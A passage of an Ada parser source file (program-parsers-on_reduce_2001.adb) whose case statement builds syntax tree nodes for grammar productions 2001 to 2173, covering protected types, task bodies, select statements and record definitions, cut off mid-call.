34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34
*/
|
source/parser/program-parsers-on_reduce_2001.adb | optikos/oasis | 0 | 15282 |
with Program.Parsers.Nodes;
use Program.Parsers.Nodes;
pragma Style_Checks ("N");
procedure Program.Parsers.On_Reduce_2001
(Self : access Parse_Context;
Prod : Anagram.Grammars.Production_Index;
Nodes : in out Program.Parsers.Nodes.Node_Array) is
begin
case Prod is
when 2001 =>
null;
when 2002 =>
null;
when 2003 =>
null;
when 2004 =>
null;
when 2005 =>
null;
when 2006 =>
declare
List : Node := Nodes (1);
begin
Self.Factory.Append_Protected_Operation_Item
(List, Nodes (2));
Nodes (1) := List;
end;
when 2007 =>
declare
List : Node := Self.
Factory.Protected_Operation_Item_Sequence;
begin
Self.Factory.Append_Protected_Operation_Item
(List, Nodes (1));
Nodes (1) := List;
end;
when 2008 =>
Nodes (1) :=
Self.Factory.Protected_Type_Declaration
(Nodes (1),
Nodes (2),
Nodes (3),
Nodes (4),
Nodes (5),
Nodes (6),
Nodes (7),
Nodes (8),
Nodes (9),
Nodes (10),
Nodes (11));
when 2009 =>
Nodes (1) :=
Self.Factory.Protected_Type_Declaration
(Nodes (1),
Nodes (2),
Nodes (3),
Nodes (4),
Nodes (5),
Nodes (6),
No_Token,
(Self.Factory.Subtype_Mark_Sequence),
No_Token,
Nodes (7),
Nodes (8));
when 2010 =>
Nodes (1) :=
Self.Factory.Protected_Type_Declaration
(Nodes (1),
Nodes (2),
Nodes (3),
Nodes (4),
(Self.Factory.Aspect_Specification_Sequence),
Nodes (5),
Nodes (6),
Nodes (7),
Nodes (8),
Nodes (9),
Nodes (10));
when 2011 =>
Nodes (1) :=
Self.Factory.Protected_Type_Declaration
(Nodes (1),
Nodes (2),
Nodes (3),
Nodes (4),
(Self.Factory.Aspect_Specification_Sequence),
Nodes (5),
No_Token,
(Self.Factory.Subtype_Mark_Sequence),
No_Token,
Nodes (6),
Nodes (7));
when 2012 =>
Nodes (1) :=
Self.Factory.Protected_Type_Declaration
(Nodes (1),
Nodes (2),
Nodes (3),
None,
Nodes (4),
Nodes (5),
Nodes (6),
Nodes (7),
Nodes (8),
Nodes (9),
Nodes (10));
when 2013 =>
Nodes (1) :=
Self.Factory.Protected_Type_Declaration
(Nodes (1),
Nodes (2),
Nodes (3),
None,
Nodes (4),
Nodes (5),
No_Token,
(Self.Factory.Subtype_Mark_Sequence),
No_Token,
Nodes (6),
Nodes (7));
when 2014 =>
Nodes (1) :=
Self.Factory.Protected_Type_Declaration
(Nodes (1),
Nodes (2),
Nodes (3),
None,
(Self.Factory.Aspect_Specification_Sequence),
Nodes (4),
Nodes (5),
Nodes (6),
Nodes (7),
Nodes (8),
Nodes (9));
when 2015 =>
Nodes (1) :=
Self.Factory.Protected_Type_Declaration
(Nodes (1),
Nodes (2),
Nodes (3),
None,
(Self.Factory.Aspect_Specification_Sequence),
Nodes (4),
No_Token,
(Self.Factory.Subtype_Mark_Sequence),
No_Token,
Nodes (5),
Nodes (6));
when 2016 =>
Nodes (1) := Self.Factory.Qualified_Expression
(Nodes (1), Nodes (2), No_Token, Nodes (3), No_Token);
when 2017 =>
Nodes (1) := Self.Factory.Quantified_Expression
(Nodes (1),
Nodes (2),
Nodes (3),
Nodes (4),
Nodes (5));
when 2018 =>
Nodes (1) := Self.Factory.Quantified_Expression
(Nodes (1),
Nodes (2),
Nodes (3),
Nodes (4),
Nodes (5));
when 2019 =>
null;
when 2020 =>
null;
when 2021 =>
Nodes (1) :=
Self.Factory.Raise_Statement
(Nodes (1),
Nodes (2),
Nodes (3),
Nodes (4),
Nodes (5));
when 2022 =>
Nodes (1) :=
Self.Factory.Raise_Statement
(Nodes (1),
Nodes (2),
No_Token,
None,
Nodes (3));
when 2023 =>
Nodes (1) :=
Self.Factory.Raise_Statement
(Nodes (1),
None,
No_Token,
None,
Nodes (2));
when 2024 =>
Nodes (1) := Self.Factory.Range_Attribute_Reference
(Nodes (1));
when 2025 =>
Nodes (1) := Self.Factory.Simple_Expression_Range
(Nodes (1), Nodes (2), Nodes (3));
when 2026 =>
Nodes (1) := Self.Factory.Attribute_Reference
(Nodes (1),
Nodes (2),
Self.Factory.Identifier (Nodes (3)),
Nodes (5));
when 2027 =>
Nodes (1) := Self.Factory.Attribute_Reference
(Nodes (1),
Nodes (2),
Self.Factory.Identifier (Nodes (3)),
None);
when 2028 =>
Nodes (1) := Nodes (2);
when 2029 =>
Nodes (1) := Self.Factory.Real_Range_Specification
(Nodes (1), Nodes (2), Nodes (3), Nodes (4));
when 2030 =>
Nodes (1) := Self.Factory.To_Aggregate_Or_Expression
(Nodes (1));
when 2031 =>
Nodes (1) := Self.Factory.Association
(Nodes (1),
Nodes (2),
Nodes (3));
when 2032 =>
Nodes (1) := Self.Factory.Association
((Self.Factory.Discrete_Choice_Sequence),
No_Token,
Nodes (1));
when 2033 =>
declare
Box : constant Node :=
Self.Factory.Box (Nodes (3));
begin
Nodes (1) := Self.Factory.Association
(Nodes (1), Nodes (2), Box);
end;
when 2034 =>
declare
List : Node :=
Self.Factory.Discrete_Choice_Sequence;
begin
Self.Factory.Prepend_Discrete_Choice
(List, Nodes (1));
Nodes (1) := Self.Factory.Association
(List, No_Token, None);
end;
when 2035 =>
declare
List : Node :=
Nodes (2);
begin
Self.Factory.Prepend_Association
(List, Nodes (1));
Nodes (1) := List;
end;
when 2036 =>
declare
List : Node :=
Self.Factory.Association_Sequence;
begin
Self.Factory.Prepend_Association
(List, Nodes (1));
Nodes (1) := List;
end;
when 2037 =>
declare
List : constant Node := Self.Factory.Association_Sequence;
begin
Nodes (1) := List;
end;
when 2038 =>
Nodes (1) := Self.Factory.
Record_Definition
(Nodes (1),
Nodes (2),
Nodes (3),
Nodes (4));
when 2039 =>
Nodes (1) := Self.Factory.
Null_Record_Definition
(Nodes (1),
Nodes (2));
when 2040 =>
Nodes (1) := Self.Factory.
Record_Representation_Clause
(Nodes (1),
Nodes (2),
Nodes (3),
Nodes (4),
Nodes (5),
Nodes (6),
Nodes (7),
Nodes (8),
Nodes (9),
Nodes (10),
Nodes (11),
Nodes (12));
when 2041 =>
Nodes (1) := Self.Factory.
Record_Representation_Clause
(Nodes (1),
Nodes (2),
Nodes (3),
Nodes (4),
Nodes (5),
Nodes (6),
Nodes (7),
Nodes (8),
(Self.Factory.Clause_Or_Pragma_Sequence),
Nodes (9),
Nodes (10),
Nodes (11));
when 2042 =>
Nodes (1) := Self.Factory.
Record_Representation_Clause
(Nodes (1),
Nodes (2),
Nodes (3),
Nodes (4),
No_Token,
No_Token,
None,
No_Token,
Nodes (5),
Nodes (6),
Nodes (7),
Nodes (8));
when 2043 =>
Nodes (1) := Self.Factory.
Record_Representation_Clause
(Nodes (1),
Nodes (2),
Nodes (3),
Nodes (4),
No_Token,
No_Token,
None,
No_Token,
(Self.Factory.Clause_Or_Pragma_Sequence),
Nodes (5),
Nodes (6),
Nodes (7));
when 2044 =>
Nodes (1) :=
Self.Factory.Record_Type_Definition
(Nodes (1),
Nodes (2),
Nodes (3),
Nodes (4));
when 2045 =>
Nodes (1) :=
Self.Factory.Record_Type_Definition
(Nodes (1),
Nodes (2),
No_Token,
Nodes (3));
when 2046 =>
Nodes (1) :=
Self.Factory.Record_Type_Definition
(No_Token,
Nodes (1),
Nodes (2),
Nodes (3));
when 2047 =>
Nodes (1) :=
Self.Factory.Record_Type_Definition
(No_Token,
Nodes (1),
No_Token,
Nodes (2));
when 2048 =>
Nodes (1) :=
Self.Factory.Record_Type_Definition
(No_Token,
No_Token,
Nodes (1),
Nodes (2));
when 2049 =>
Nodes (1) :=
Self.Factory.Record_Type_Definition
(No_Token,
No_Token,
No_Token,
Nodes (1));
when 2050 =>
Nodes (1) := Self.Factory.Infix_Call
(Nodes (2), Nodes (1), Nodes (3));
when 2051 =>
null;
when 2052 =>
Nodes (1) := Self.Factory.Membership_Test
(Nodes (1),
Nodes (2),
Nodes (3),
Nodes (4));
when 2053 =>
Nodes (1) := Self.Factory.Membership_Test
(Nodes (1),
No_Token,
Nodes (2),
Nodes (3));
when 2054 =>
null;
when 2055 =>
null;
when 2056 =>
null;
when 2057 =>
null;
when 2058 =>
null;
when 2059 =>
null;
when 2060 =>
Nodes (1) :=
Self.Factory.Requeue_Statement
(Nodes (1),
Nodes (2),
Nodes (3),
Nodes (4),
Nodes (5));
when 2061 =>
Nodes (1) :=
Self.Factory.Requeue_Statement
(Nodes (1),
Nodes (2),
No_Token,
No_Token,
Nodes (3));
when 2062 =>
null;
when 2063 =>
null;
when 2064 =>
null;
when 2065 =>
null;
when 2066 =>
null;
when 2067 =>
null;
when 2068 =>
null;
when 2069 =>
declare
Item : constant Node :=
Self.Factory.Select_Or_Path
(Nodes (2),
Nodes (3),
Nodes (4),
Nodes (5),
Nodes (6));
List : Node :=
Nodes (1);
begin
Self.Factory.Append_Select_Or_Else_Path
(List, Item);
Nodes (1) := List;
end;
when 2070 =>
declare
Item : constant Node :=
Self.Factory.Select_Or_Path
(Nodes (2),
No_Token,
None,
No_Token,
Nodes (3));
List : Node :=
Nodes (1);
begin
Self.Factory.Append_Select_Or_Else_Path
(List, Item);
Nodes (1) := List;
end;
when 2071 =>
declare
Item : constant Node :=
Self.Factory.Select_Or_Path
(Nodes (1),
Nodes (2),
Nodes (3),
Nodes (4),
Nodes (5));
List : Node :=
Self.Factory.Select_Or_Else_Path_Sequence;
begin
Self.Factory.Append_Select_Or_Else_Path
(List, Item);
Nodes (1) := List;
end;
when 2072 =>
declare
Item : constant Node :=
Self.Factory.Select_Or_Path
(Nodes (1),
No_Token,
None,
No_Token,
Nodes (2));
List : Node :=
Self.Factory.Select_Or_Else_Path_Sequence;
begin
Self.Factory.Append_Select_Or_Else_Path
(List, Item);
Nodes (1) := List;
end;
when 2073 =>
Nodes (1) := Self.Factory.Selected_Component
(Nodes (1), Nodes (2), Nodes (3));
when 2074 =>
Nodes (1) :=
Self.Factory.Selected_Identifier
(Nodes (1),
Nodes (2),
Nodes (3));
when 2075 =>
declare
Item : constant Node :=
Self.Factory.Select_Or_Path
(No_Token, -- Or_Token
Nodes (2),
Nodes (3),
Nodes (4),
Nodes (5));
Else_Item : constant Node :=
Self.Factory.Else_Path
(Nodes (7), Nodes (8));
List : Node :=
Nodes (6);
begin
Self.Factory.Prepend_Select_Or_Else_Path
(List, Item);
Self.Factory.Append_Select_Or_Else_Path
(List, Else_Item);
Nodes (1) := Self.Factory.Selective_Accept
(Nodes (1),
List,
Nodes (9),
Nodes (10),
Nodes (11));
end;
when 2076 =>
declare
Item : constant Node :=
Self.Factory.Select_Or_Path
(No_Token, -- Or_Token
Nodes (2),
Nodes (3),
Nodes (4),
Nodes (5));
List : Node :=
Nodes (6);
begin
Self.Factory.Prepend_Select_Or_Else_Path
(List, Item);
Nodes (1) := Self.Factory.Selective_Accept
(Nodes (1),
List,
Nodes (7),
Nodes (8),
Nodes (9));
end;
when 2077 =>
declare
Item : constant Node :=
Self.Factory.Select_Or_Path
(No_Token, -- Or_Token
Nodes (2),
Nodes (3),
Nodes (4),
Nodes (5));
Else_Item : constant Node :=
Self.Factory.Else_Path
(Nodes (6), Nodes (7));
List : Node :=
Self.Factory.Select_Or_Else_Path_Sequence;
begin
Self.Factory.Prepend_Select_Or_Else_Path
(List, Item);
Self.Factory.Append_Select_Or_Else_Path
(List, Else_Item);
Nodes (1) := Self.Factory.Selective_Accept
(Nodes (1),
List,
Nodes (8),
Nodes (9),
Nodes (10));
end;
when 2078 =>
declare
Item : constant Node :=
Self.Factory.Select_Or_Path
(No_Token, -- Or_Token
Nodes (2),
Nodes (3),
Nodes (4),
Nodes (5));
List : Node :=
Self.Factory.Select_Or_Else_Path_Sequence;
begin
Self.Factory.Prepend_Select_Or_Else_Path
(List, Item);
Nodes (1) := Self.Factory.Selective_Accept
(Nodes (1),
List,
Nodes (6),
Nodes (7),
Nodes (8));
end;
when 2079 =>
declare
Item : constant Node :=
Self.Factory.Select_Or_Path
(No_Token, -- Or_Token
No_Token,
None,
No_Token,
Nodes (2));
Else_Item : constant Node :=
Self.Factory.Else_Path
(Nodes (4), Nodes (5));
List : Node :=
Nodes (3);
begin
Self.Factory.Prepend_Select_Or_Else_Path
(List, Item);
Self.Factory.Append_Select_Or_Else_Path
(List, Else_Item);
Nodes (1) := Self.Factory.Selective_Accept
(Nodes (1),
List,
Nodes (6),
Nodes (7),
Nodes (8));
end;
when 2080 =>
declare
Item : constant Node :=
Self.Factory.Select_Or_Path
(No_Token, -- Or_Token
No_Token,
None,
No_Token,
Nodes (2));
List : Node :=
Nodes (3);
begin
Self.Factory.Prepend_Select_Or_Else_Path
(List, Item);
Nodes (1) := Self.Factory.Selective_Accept
(Nodes (1),
List,
Nodes (4),
Nodes (5),
Nodes (6));
end;
when 2081 =>
declare
Item : constant Node :=
Self.Factory.Select_Or_Path
(No_Token, -- Or_Token
No_Token,
None,
No_Token,
Nodes (2));
Else_Item : constant Node :=
Self.Factory.Else_Path
(Nodes (3), Nodes (4));
List : Node :=
Self.Factory.Select_Or_Else_Path_Sequence;
begin
Self.Factory.Prepend_Select_Or_Else_Path
(List, Item);
Self.Factory.Append_Select_Or_Else_Path
(List, Else_Item);
Nodes (1) := Self.Factory.Selective_Accept
(Nodes (1),
List,
Nodes (5),
Nodes (6),
Nodes (7));
end;
when 2082 =>
declare
Item : constant Node :=
Self.Factory.Select_Or_Path
(No_Token, -- Or_Token
No_Token,
None,
No_Token,
Nodes (2));
List : Node :=
Self.Factory.Select_Or_Else_Path_Sequence;
begin
Self.Factory.Prepend_Select_Or_Else_Path
(List, Item);
Nodes (1) := Self.Factory.Selective_Accept
(Nodes (1),
List,
Nodes (3),
Nodes (4),
Nodes (5));
end;
when 2083 =>
null;
when 2084 =>
Nodes (1) := Self.Factory.Character_Literal
(Nodes (1));
when 2085 =>
null;
when 2086 =>
declare
List : Node :=
Nodes (2);
begin
Self.Factory.Prepend_Exception_Handler
(List, Nodes (1));
Nodes (1) := List;
end;
when 2087 =>
declare
List : Node :=
Self.Factory.
Exception_Handler_Sequence;
begin
Self.Factory.Prepend_Exception_Handler
(List, Nodes (1));
Nodes (1) := List;
end;
when 2088 =>
declare
List : Node :=
Nodes (2);
Dummy : constant Node :=
Self.Factory.Label_Decorator
(Nodes (3), None);
begin
Self.Factory.Prepend_Statement (List, Nodes (1));
Self.Factory.Append_Statement
(List, Dummy);
Nodes (1) := List;
end;
when 2089 =>
declare
List : Node :=
Nodes (2);
begin
Self.Factory.Prepend_Statement
(List, Nodes (1));
Nodes (1) := List;
end;
when 2090 =>
declare
List : Node :=
Self.Factory.
Statement_Sequence;
Dummy : constant Node :=
Self.Factory.Label_Decorator
(Nodes (2), None);
begin
Self.Factory.Prepend_Statement (List, Nodes (1));
Self.Factory.Append_Statement
(List, Dummy);
Nodes (1) := List;
end;
when 2091 =>
declare
List : Node :=
Self.Factory.
Statement_Sequence;
begin
Self.Factory.Prepend_Statement
(List, Nodes (1));
Nodes (1) := List;
end;
when 2092 =>
Nodes (1) :=
Self.Factory.Signed_Integer_Type_Definition
(Nodes (1),
Nodes (2),
Nodes (3),
Nodes (4));
when 2093 =>
Nodes (1) := Self.Factory.Numeric_Literal
(Nodes (1));
when 2094 =>
Nodes (1) := Self.Factory.Null_Literal
(Nodes (1));
when 2095 =>
null;
when 2096 =>
null;
when 2097 =>
null;
when 2098 =>
Nodes (1) := Nodes (2);
when 2099 =>
Nodes (1) := Nodes (2);
when 2100 =>
Nodes (1) := Self.Factory.Infix_Call
(Nodes (1), None, Nodes (2));
when 2101 =>
Nodes (1) := Self.Factory.Infix_Call
(Nodes (1), None, Nodes (2));
when 2102 =>
Nodes (1) := Self.Factory.Infix_Call
(Nodes (2), Nodes (1), Nodes (3));
when 2103 =>
Nodes (1) := Self.Factory.Infix_Call
(Nodes (2), Nodes (1), Nodes (3));
when 2104 =>
Nodes (1) := Self.Factory.Infix_Call
(Nodes (2), Nodes (1), Nodes (3));
when 2105 =>
Nodes (1) := Self.Factory.Infix_Call
(Nodes (2), Nodes (1), Nodes (3));
when 2106 =>
Nodes (1) := Self.Factory.Infix_Call
(Nodes (2), Nodes (1), Nodes (3));
when 2107 =>
Nodes (1) := Self.Factory.Infix_Call
(Nodes (1), None, Nodes (2));
when 2108 =>
Nodes (1) := Self.Factory.Infix_Call
(Nodes (1), None, Nodes (2));
when 2109 =>
Nodes (1) := Self.Factory.Infix_Call
(Nodes (2), Nodes (1), Nodes (3));
when 2110 =>
Nodes (1) := Self.Factory.Infix_Call
(Nodes (2), Nodes (1), Nodes (3));
when 2111 =>
Nodes (1) := Self.Factory.Infix_Call
(Nodes (2), Nodes (1), Nodes (3));
when 2112 =>
Nodes (1) :=
Self.Factory.Simple_Return_Statement
(Nodes (1),
Nodes (2),
Nodes (3));
when 2113 =>
Nodes (1) :=
Self.Factory.Simple_Return_Statement
(Nodes (1),
None,
Nodes (2));
when 2114 =>
Nodes (1) :=
Self.Factory.Single_Protected_Declaration
(Nodes (1),
Nodes (2),
Nodes (3),
Nodes (4),
Nodes (5),
Nodes (6),
Nodes (7),
Nodes (8),
Nodes (9));
when 2115 =>
Nodes (1) :=
Self.Factory.Single_Protected_Declaration
(Nodes (1),
Nodes (2),
Nodes (3),
Nodes (4),
No_Token,
(Self.Factory.Subtype_Mark_Sequence),
No_Token,
Nodes (5),
Nodes (6));
when 2116 =>
Nodes (1) :=
Self.Factory.Single_Protected_Declaration
(Nodes (1),
Nodes (2),
(Self.Factory.Aspect_Specification_Sequence),
Nodes (3),
Nodes (4),
Nodes (5),
Nodes (6),
Nodes (7),
Nodes (8));
when 2117 =>
Nodes (1) :=
Self.Factory.Single_Protected_Declaration
(Nodes (1),
Nodes (2),
(Self.Factory.Aspect_Specification_Sequence),
Nodes (3),
No_Token,
(Self.Factory.Subtype_Mark_Sequence),
No_Token,
Nodes (4),
Nodes (5));
when 2118 =>
Nodes (1) :=
Self.Factory.Single_Task_Declaration
(Nodes (1),
Nodes (2),
Nodes (3),
Nodes (4),
Nodes (5),
Nodes (6),
Nodes (7),
Nodes (8),
Nodes (9));
when 2119 =>
Nodes (1) :=
Self.Factory.Single_Task_Declaration
(Nodes (1),
Nodes (2),
Nodes (3),
Nodes (4),
No_Token,
(Self.Factory.Subtype_Mark_Sequence),
No_Token,
Nodes (5),
Nodes (6));
when 2120 =>
Nodes (1) :=
Self.Factory.Single_Task_Declaration
(Nodes (1),
Nodes (2),
Nodes (3),
No_Token,
No_Token,
(Self.Factory.Subtype_Mark_Sequence),
No_Token,
None,
Nodes (4));
when 2121 =>
Nodes (1) :=
Self.Factory.Single_Task_Declaration
(Nodes (1),
Nodes (2),
(Self.Factory.Aspect_Specification_Sequence),
Nodes (3),
Nodes (4),
Nodes (5),
Nodes (6),
Nodes (7),
Nodes (8));
when 2122 =>
Nodes (1) :=
Self.Factory.Single_Task_Declaration
(Nodes (1),
Nodes (2),
(Self.Factory.Aspect_Specification_Sequence),
Nodes (3),
No_Token,
(Self.Factory.Subtype_Mark_Sequence),
No_Token,
Nodes (4),
Nodes (5));
when 2123 =>
Nodes (1) :=
Self.Factory.Single_Task_Declaration
(Nodes (1),
Nodes (2),
(Self.Factory.Aspect_Specification_Sequence),
No_Token,
No_Token,
(Self.Factory.Subtype_Mark_Sequence),
No_Token,
None,
Nodes (3));
when 2124 =>
Nodes (1) := Self.Factory.Label_Decorator
(Nodes (1), Nodes (2));
when 2125 =>
null;
when 2126 =>
declare
List : Node := Nodes (1);
begin
Self.Factory.Append_Statement
(List, Nodes (2));
Nodes (1) := List;
end;
when 2127 =>
declare
List : Node := Self.
Factory.Statement_Sequence;
begin
Self.Factory.Append_Statement
(List, Nodes (1));
Nodes (1) := List;
end;
when 2128 =>
Nodes (1) :=
Self.Factory.Subtype_Declaration
(Nodes (1),
Nodes (2),
Nodes (3),
Nodes (4),
Nodes (5),
Nodes (6));
when 2129 =>
Nodes (1) :=
Self.Factory.Subtype_Declaration
(Nodes (1),
Nodes (2),
Nodes (3),
Nodes (4),
(Self.Factory.Aspect_Specification_Sequence),
Nodes (5));
when 2130 =>
Nodes (1) := Self.Factory.To_Subtype_Indication
(Nodes (1),
Nodes (2),
Nodes (3),
Nodes (4));
when 2131 =>
Nodes (1) := Self.Factory.To_Subtype_Indication
(Nodes (1),
Nodes (2),
Nodes (3),
None);
when 2132 =>
Nodes (1) := Self.Factory.To_Subtype_Indication
(No_Token,
No_Token,
Nodes (1),
Nodes (2));
when 2133 =>
Nodes (1) := Self.Factory.To_Subtype_Indication
(No_Token,
No_Token,
Nodes (1),
None);
when 2134 =>
null;
when 2135 =>
declare
List : Node := Nodes (1);
begin
Self.Factory.Append_Subtype_Mark
(List, Nodes (3));
Nodes (1) := List;
end;
when 2136 =>
declare
List : Node := Self.
Factory.Subtype_Mark_Sequence;
begin
Self.Factory.Append_Subtype_Mark
(List, Nodes (2));
Nodes (1) := List;
end;
when 2137 =>
Nodes (1) :=
Self.Factory.Subunit
(Nodes (1),
Nodes (2),
Nodes (3),
Nodes (4),
Nodes (5),
Nodes (6));
when 2138 =>
Nodes (1) :=
Self.Factory.Subunit
((Self.Factory.Context_Item_Sequence),
Nodes (1),
Nodes (2),
Nodes (3),
Nodes (4),
Nodes (5));
when 2139 =>
Nodes (1) :=
Self.Factory.Task_Body
(Nodes (1),
Nodes (2),
Nodes (3),
Nodes (4),
Nodes (5),
Nodes (6),
Nodes (7),
Nodes (8),
Nodes (9),
Nodes (10),
Nodes (11),
Nodes (12),
Nodes (13));
when 2140 =>
Nodes (1) :=
Self.Factory.Task_Body
(Nodes (1),
Nodes (2),
Nodes (3),
Nodes (4),
Nodes (5),
Nodes (6),
Nodes (7),
Nodes (8),
Nodes (9),
Nodes (10),
Nodes (11),
No_Token,
Nodes (12));
when 2141 =>
Nodes (1) :=
Self.Factory.Task_Body
(Nodes (1),
Nodes (2),
Nodes (3),
Nodes (4),
Nodes (5),
Nodes (6),
Nodes (7),
Nodes (8),
No_Token,
(Self.Factory.Exception_Handler_Sequence),
Nodes (9),
Nodes (10),
Nodes (11));
when 2142 =>
Nodes (1) :=
Self.Factory.Task_Body
(Nodes (1),
Nodes (2),
Nodes (3),
Nodes (4),
Nodes (5),
Nodes (6),
Nodes (7),
Nodes (8),
No_Token,
(Self.Factory.Exception_Handler_Sequence),
Nodes (9),
No_Token,
Nodes (10));
when 2143 =>
Nodes (1) :=
Self.Factory.Task_Body
(Nodes (1),
Nodes (2),
Nodes (3),
Nodes (4),
Nodes (5),
(Self.Factory.Declarative_Item_Sequence),
Nodes (6),
Nodes (7),
Nodes (8),
Nodes (9),
Nodes (10),
Nodes (11),
Nodes (12));
when 2144 =>
Nodes (1) :=
Self.Factory.Task_Body
(Nodes (1),
Nodes (2),
Nodes (3),
Nodes (4),
Nodes (5),
(Self.Factory.Declarative_Item_Sequence),
Nodes (6),
Nodes (7),
Nodes (8),
Nodes (9),
Nodes (10),
No_Token,
Nodes (11));
when 2145 =>
Nodes (1) :=
Self.Factory.Task_Body
(Nodes (1),
Nodes (2),
Nodes (3),
Nodes (4),
Nodes (5),
(Self.Factory.Declarative_Item_Sequence),
Nodes (6),
Nodes (7),
No_Token,
(Self.Factory.Exception_Handler_Sequence),
Nodes (8),
Nodes (9),
Nodes (10));
when 2146 =>
Nodes (1) :=
Self.Factory.Task_Body
(Nodes (1),
Nodes (2),
Nodes (3),
Nodes (4),
Nodes (5),
(Self.Factory.Declarative_Item_Sequence),
Nodes (6),
Nodes (7),
No_Token,
(Self.Factory.Exception_Handler_Sequence),
Nodes (8),
No_Token,
Nodes (9));
when 2147 =>
Nodes (1) :=
Self.Factory.Task_Body
(Nodes (1),
Nodes (2),
Nodes (3),
(Self.Factory.Aspect_Specification_Sequence),
Nodes (4),
Nodes (5),
Nodes (6),
Nodes (7),
Nodes (8),
Nodes (9),
Nodes (10),
Nodes (11),
Nodes (12));
when 2148 =>
Nodes (1) :=
Self.Factory.Task_Body
(Nodes (1),
Nodes (2),
Nodes (3),
(Self.Factory.Aspect_Specification_Sequence),
Nodes (4),
Nodes (5),
Nodes (6),
Nodes (7),
Nodes (8),
Nodes (9),
Nodes (10),
No_Token,
Nodes (11));
when 2149 =>
Nodes (1) :=
Self.Factory.Task_Body
(Nodes (1),
Nodes (2),
Nodes (3),
(Self.Factory.Aspect_Specification_Sequence),
Nodes (4),
Nodes (5),
Nodes (6),
Nodes (7),
No_Token,
(Self.Factory.Exception_Handler_Sequence),
Nodes (8),
Nodes (9),
Nodes (10));
when 2150 =>
Nodes (1) :=
Self.Factory.Task_Body
(Nodes (1),
Nodes (2),
Nodes (3),
(Self.Factory.Aspect_Specification_Sequence),
Nodes (4),
Nodes (5),
Nodes (6),
Nodes (7),
No_Token,
(Self.Factory.Exception_Handler_Sequence),
Nodes (8),
No_Token,
Nodes (9));
when 2151 =>
Nodes (1) :=
Self.Factory.Task_Body
(Nodes (1),
Nodes (2),
Nodes (3),
(Self.Factory.Aspect_Specification_Sequence),
Nodes (4),
(Self.Factory.Declarative_Item_Sequence),
Nodes (5),
Nodes (6),
Nodes (7),
Nodes (8),
Nodes (9),
Nodes (10),
Nodes (11));
when 2152 =>
Nodes (1) :=
Self.Factory.Task_Body
(Nodes (1),
Nodes (2),
Nodes (3),
(Self.Factory.Aspect_Specification_Sequence),
Nodes (4),
(Self.Factory.Declarative_Item_Sequence),
Nodes (5),
Nodes (6),
Nodes (7),
Nodes (8),
Nodes (9),
No_Token,
Nodes (10));
when 2153 =>
Nodes (1) :=
Self.Factory.Task_Body
(Nodes (1),
Nodes (2),
Nodes (3),
(Self.Factory.Aspect_Specification_Sequence),
Nodes (4),
(Self.Factory.Declarative_Item_Sequence),
Nodes (5),
Nodes (6),
No_Token,
(Self.Factory.Exception_Handler_Sequence),
Nodes (7),
Nodes (8),
Nodes (9));
when 2154 =>
Nodes (1) :=
Self.Factory.Task_Body
(Nodes (1),
Nodes (2),
Nodes (3),
(Self.Factory.Aspect_Specification_Sequence),
Nodes (4),
(Self.Factory.Declarative_Item_Sequence),
Nodes (5),
Nodes (6),
No_Token,
(Self.Factory.Exception_Handler_Sequence),
Nodes (7),
No_Token,
Nodes (8));
when 2155 =>
Nodes (1) :=
Self.Factory.Task_Body_Stub
(Nodes (1),
Nodes (2),
Nodes (3),
Nodes (4),
Nodes (5),
Nodes (6),
Nodes (7));
when 2156 =>
Nodes (1) :=
Self.Factory.Task_Body_Stub
(Nodes (1),
Nodes (2),
Nodes (3),
Nodes (4),
Nodes (5),
(Self.Factory.Aspect_Specification_Sequence),
Nodes (6));
when 2157 =>
Nodes (1) :=
Self.Factory.Task_Definition
(Nodes (1),
Nodes (2),
Nodes (3),
Nodes (4),
Nodes (5));
when 2158 =>
Nodes (1) :=
Self.Factory.Task_Definition
(Nodes (1),
Nodes (2),
Nodes (3),
Nodes (4),
No_Token);
when 2159 =>
Nodes (1) :=
Self.Factory.Task_Definition
(Nodes (1),
Nodes (2),
(Self.Factory.Task_Item_Sequence),
Nodes (3),
Nodes (4));
when 2160 =>
Nodes (1) :=
Self.Factory.Task_Definition
(Nodes (1),
Nodes (2),
(Self.Factory.Task_Item_Sequence),
Nodes (3),
No_Token);
when 2161 =>
Nodes (1) :=
Self.Factory.Task_Definition
(Nodes (1),
No_Token,
(Self.Factory.Task_Item_Sequence),
Nodes (2),
Nodes (3));
when 2162 =>
Nodes (1) :=
Self.Factory.Task_Definition
(Nodes (1),
No_Token,
(Self.Factory.Task_Item_Sequence),
Nodes (2),
No_Token);
when 2163 =>
Nodes (1) :=
Self.Factory.Task_Definition
((Self.Factory.Task_Item_Sequence),
Nodes (1),
Nodes (2),
Nodes (3),
Nodes (4));
when 2164 =>
Nodes (1) :=
Self.Factory.Task_Definition
((Self.Factory.Task_Item_Sequence),
Nodes (1),
Nodes (2),
Nodes (3),
No_Token);
when 2165 =>
Nodes (1) :=
Self.Factory.Task_Definition
((Self.Factory.Task_Item_Sequence),
Nodes (1),
(Self.Factory.Task_Item_Sequence),
Nodes (2),
Nodes (3));
when 2166 =>
Nodes (1) :=
Self.Factory.Task_Definition
((Self.Factory.Task_Item_Sequence),
Nodes (1),
(Self.Factory.Task_Item_Sequence),
Nodes (2),
No_Token);
when 2167 =>
Nodes (1) :=
Self.Factory.Task_Definition
((Self.Factory.Task_Item_Sequence),
No_Token,
(Self.Factory.Task_Item_Sequence),
Nodes (1),
Nodes (2));
when 2168 =>
Nodes (1) :=
Self.Factory.Task_Definition
((Self.Factory.Task_Item_Sequence),
No_Token,
(Self.Factory.Task_Item_Sequence),
Nodes (1),
No_Token);
when 2169 =>
null;
when 2170 =>
null;
when 2171 =>
declare
List : Node := Nodes (1);
begin
Self.Factory.Prepend_Task_Item
(List, Nodes (2));
Nodes (1) := List;
end;
when 2172 =>
declare
List : Node := Self.
Factory.Task_Item_Sequence;
begin
Self.Factory.Prepend_Task_Item
(List, Nodes (1));
Nodes (1) := List;
end;
when 2173 =>
Nodes (1) :=
Self.Factory.Task_Type_Declaration
(Nodes (1),
Nodes (2),
Nodes (3),
Nodes (4),
Nodes (5),
Nodes (6),
Nodes (7),
